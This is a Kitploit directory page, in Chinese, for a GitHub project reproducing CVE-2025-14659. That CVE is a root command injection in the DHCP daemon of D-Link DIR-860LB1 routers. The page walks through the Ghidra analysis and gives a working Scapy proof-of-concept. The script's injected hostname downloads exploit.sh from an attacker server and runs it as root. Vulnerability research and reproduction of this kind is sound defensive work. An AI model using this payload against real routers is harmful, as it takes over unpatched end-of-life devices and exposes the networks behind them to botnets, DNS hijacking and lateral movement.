Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/peterlinccl/vulnerability-dlink-cve-2025-14659
嵌入式系统安全静态分析物联网安全漏洞分析漏洞利用逆向工程论文与研究Payload 开发固件分析

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubpeterlinccl/vulnerability-dlink-cve-2025-14659

Vulnerability-DLink-CVE-2025-14659

静态分析(Ghidra)与自定义数据包构造(Scapy),演示 D-Link 固件中的 root 级 DHCP 命令注入漏洞(CVE-2025-14659)

查看仓库
14小时25分前尚未审核

CVE-2025-14659:D-Link DHCP 守护进程命令注入分析

复现 CVE 项目 | 攻击性安全

作者: Peter Lin
日期: 2026 年 5 月
项目简介: CVE-2025-14659 报告了一个命令注入漏洞,针对运行固件 v203b03 的 D-Link DIR-860LB1 无线路由器中的 DHCP 守护进程组件。当 DHCP 客户端使用恶意主机名续订现有租约时,此命令注入可能允许攻击者以 root 权限在目标路由器上执行任意命令。我将提取 DIR-860LB1 设备的固件,并使用 Ghidra 通过静态分析识别 DHCP 守护进程(udhcpd)中存在的缺陷。然后,我将利用 FirmAE 等仿真引擎来模拟此路由器的环境,演示针对该目标的的概念验证攻击。


🔍 漏洞概述

  • CVE ID: CVE-2025-14659
  • CVSS 评分: 8.7(高危)
  • 漏洞类型: CWE-77(命令注入)
  • 目标二进制文件: udhcpd(DHCP 守护进程)
  • 影响: 通过本地网络实现未经身份验证的 root 访问。

🔬 根本原因(Ghidra 静态分析)

查看 Ghidra 中的 udhcpd_main 函数,该漏洞就位于 case 3(DHCPREQUEST)代码块内:

  1. 提取: 守护进程使用 get_option(auStack_254, 0xc) 从客户端数据包中提取 DHCP 选项 12(主机名)。
  2. 拼接: 如果存在主机名,它会通过 sprintf() 直接放入字符串缓冲区:
    root@kitploit:~
    sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
    
  3. 执行: 应用程序随后将该原始缓冲区直接传入 system() 调用,而未对 shell 字符进行清理:
    root@kitploit:~
    system(acStack_454);
    

由于守护进程以 root 身份运行,在主机名中添加 shell 元字符(如 ; 或 |)允许攻击者执行任意系统命令。


🛠️ 概念验证脚本(cve_poc.py)

这个功能性的 Scapy 脚本模拟了一个恶意客户端,通过注入的主机名载荷请求续订租约:

root@kitploit:~
from scapy.all import *

# ===== Configuration =====
iface = "tap1_0"                          
mac_address = "0a:6f:8c:38:03:52"        
requested_ip = "192.168.0.150"            
dhcp_server_ip = "192.168.0.1"            
attacker_server = "192.168.0.150:12345"   
# =========================

# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))

dhcp_request = (
    Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
    IP(src="0.0.0.0", dst="255.255.255.255") /
    UDP(sport=68, dport=67) /
    BOOTP(chaddr=mac_bytes, xid=0x81de4932) /   
    DHCP(options=[
        ("message-type", "request"),
        ("requested_addr", requested_ip),
        ("server_id", dhcp_server_ip),
        ("hostname", hostname),
        "end"
    ])
)

print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")

⚠️ 现实世界威胁影响

如果在野利用此漏洞,攻击者可将其用于:

  • 僵尸网络部署: 将恶意二进制文件直接安装到路由器的易失性内存(/tmp)中,将硬件纳入 DDoS 网络。
  • DNS 劫持: 覆盖内部 DNS 设置,将本地用户静默重定向至恶意钓鱼网站。
  • 横向移动: 利用被攻陷的边缘路由器作为内部跳板,扫描并攻击本地网络内的其他机器。
  • 持久控制: 安装后门或篡改配置文件,以在整个本地环境中维持未经授权的管理访问权限。

🛑 防御缓解措施

  • 硬件生命周期警告: D-Link 已将 DIR-860LB1 设备归类为生命周期终止(EoL)状态。预计官方供应商补丁不会解决此问题。
  • 补偿性安全控制:
    • 配置隔离的 VLAN 边界,并配备严格的客户端隔离功能,以限制对 DHCP 端点的未经身份验证的可见性。
    • 系统性地退役 EoL 遗留路由设备,并升级到受主动支持的硬件配置。

📚 参考资料

  • NIST 国家漏洞数据库
  • CVEDetails 漏洞档案

免责声明: 本项目严格用于教育目的、作品集构建和防御性安全研究。

下载工具